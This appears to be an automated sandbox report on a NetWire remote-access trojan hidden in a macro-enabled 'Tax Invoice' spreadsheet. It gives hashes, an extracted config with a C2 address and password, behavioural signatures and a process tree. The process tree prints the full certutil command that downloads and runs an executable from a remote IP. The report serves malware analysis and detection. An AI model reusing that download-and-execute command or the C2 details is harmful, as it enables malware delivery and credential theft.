netwire | e7df88b691f820535f249821d16054a01f33e0acf3ae12d0b64f98cced910012

General

Target

Tax Invoice.xlsm
Size

42KB
MD5

241d9fbb42762beb00492d32d5e9d291
SHA1

e6f1f8bbc40a59911543be499e1e07b54d55c3f4
SHA256

e7df88b691f820535f249821d16054a01f33e0acf3ae12d0b64f98cced910012
SHA512

a503b4e51bb09fa2e5c1b2a546cbf0c562200e77e67f2f81757f0b6f5460cc38e33d0ea871b7f7c1d92ed82ac3ca756a37e08a5e633077a560c9627516ea9aef
SSDEEP

768:IvjsCvCssn3uBIJYfTH+niSpKvDH7Nv+nWhFFiKk/f7qtNhTxRB+nE2g7/:IvDvCT3uG1ByT7Nv+qFFi3/jqLxxyE2g

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Family

netwire

C2

212.193.30.230:3345

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
Password@9
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 4 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/112-160-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/112-163-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/112-164-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/112-165-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	5096	4940	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Niipxzvceptnltqinb.exe.exeNiipxzvceptnltqinb.exe.exe

pid process

2480 Niipxzvceptnltqinb.exe.exe
112 Niipxzvceptnltqinb.exe.exe

pid	process
2480	Niipxzvceptnltqinb.exe.exe
112	Niipxzvceptnltqinb.exe.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Niipxzvceptnltqinb.exe.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4060001867-1434967833-2212371794-1000\Control Panel\International\Geo\Nation	Niipxzvceptnltqinb.exe.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Niipxzvceptnltqinb.exe.exe

description pid process target process

PID 2480 set thread context of 112 2480 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 2480 set thread context of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1864 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4940 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

676 powershell.exe
676 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Niipxzvceptnltqinb.exe.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2480 Niipxzvceptnltqinb.exe.exe
Token: SeDebugPrivilege 676 powershell.exe

pid	process
1864	PING.EXE

pid	process
676	powershell.exe
676	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2480	Niipxzvceptnltqinb.exe.exe
Token: SeDebugPrivilege	676	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE
4940	EXCEL.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

EXCEL.EXEcmd.exeNiipxzvceptnltqinb.exe.execmd.exe

description	pid	process	target process
PID 4940 wrote to memory of 5096	4940	EXCEL.EXE	cmd.exe
PID 4940 wrote to memory of 5096	4940	EXCEL.EXE	cmd.exe
PID 5096 wrote to memory of 4960	5096	cmd.exe	certutil.exe
PID 5096 wrote to memory of 4960	5096	cmd.exe	certutil.exe
PID 5096 wrote to memory of 2480	5096	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 5096 wrote to memory of 2480	5096	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 5096 wrote to memory of 2480	5096	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 4988	2480	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 2480 wrote to memory of 4988	2480	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 2480 wrote to memory of 4988	2480	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 4988 wrote to memory of 1864	4988	cmd.exe	PING.EXE
PID 4988 wrote to memory of 1864	4988	cmd.exe	PING.EXE
PID 4988 wrote to memory of 1864	4988	cmd.exe	PING.EXE
PID 2480 wrote to memory of 676	2480	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 2480 wrote to memory of 676	2480	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 2480 wrote to memory of 676	2480	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 2480 wrote to memory of 112	2480	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Tax Invoice.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4940

C:\Windows\SYSTEM32\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe && Niipxzvceptnltqinb.exe.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5096

C:\Windows\system32\certutil.exe
certutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe
3⤵
PID:4960

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Niipxzvceptnltqinb.exe.exe
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping google.com
4⤵
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\SysWOW64\PING.EXE
ping google.com
5⤵
- Runs ping.exe
PID:1864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwAA==
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:676

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
4⤵
- Executes dropped EXE
PID:112

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

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C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

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C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

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memory/112-165-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

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memory/112-164-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

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memory/112-163-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

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memory/112-160-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

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memory/112-159-0x0000000000000000-mapping.dmp

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memory/676-157-0x00000000075C0000-0x0000000007C3A000-memory.dmp

Filesize
6.5MB

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memory/676-156-0x0000000005D80000-0x0000000005D9E000-memory.dmp

Filesize
120KB

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memory/676-158-0x0000000006270000-0x000000000628A000-memory.dmp

Filesize
104KB

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memory/676-155-0x0000000005750000-0x00000000057B6000-memory.dmp

Filesize
408KB

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memory/676-154-0x00000000055B0000-0x0000000005616000-memory.dmp

Filesize
408KB

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memory/676-153-0x0000000004F10000-0x0000000005538000-memory.dmp

Filesize
6.2MB

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memory/676-152-0x00000000047F0000-0x0000000004826000-memory.dmp

Filesize
216KB

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memory/676-151-0x0000000000000000-mapping.dmp

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memory/1864-149-0x0000000000000000-mapping.dmp

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memory/2480-141-0x0000000000000000-mapping.dmp

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memory/2480-144-0x00000000004A0000-0x00000000004A8000-memory.dmp

Filesize
32KB

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memory/2480-150-0x0000000007810000-0x0000000007832000-memory.dmp

Filesize
136KB

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memory/2480-147-0x0000000006400000-0x000000000640A000-memory.dmp

Filesize
40KB

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memory/2480-146-0x0000000004E40000-0x0000000004ED2000-memory.dmp

Filesize
584KB

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memory/2480-145-0x0000000005500000-0x0000000005AA4000-memory.dmp

Filesize
5.6MB

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memory/4940-135-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-167-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-170-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-169-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-138-0x00007FF9A0D10000-0x00007FF9A0D20000-memory.dmp

Filesize
64KB

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memory/4940-137-0x00007FF9A0D10000-0x00007FF9A0D20000-memory.dmp

Filesize
64KB

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memory/4940-136-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-168-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-134-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-133-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4940-132-0x00007FF9A2D70000-0x00007FF9A2D80000-memory.dmp

Filesize
64KB

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memory/4960-140-0x0000000000000000-mapping.dmp

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memory/4988-148-0x0000000000000000-mapping.dmp

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memory/5096-139-0x0000000000000000-mapping.dmp

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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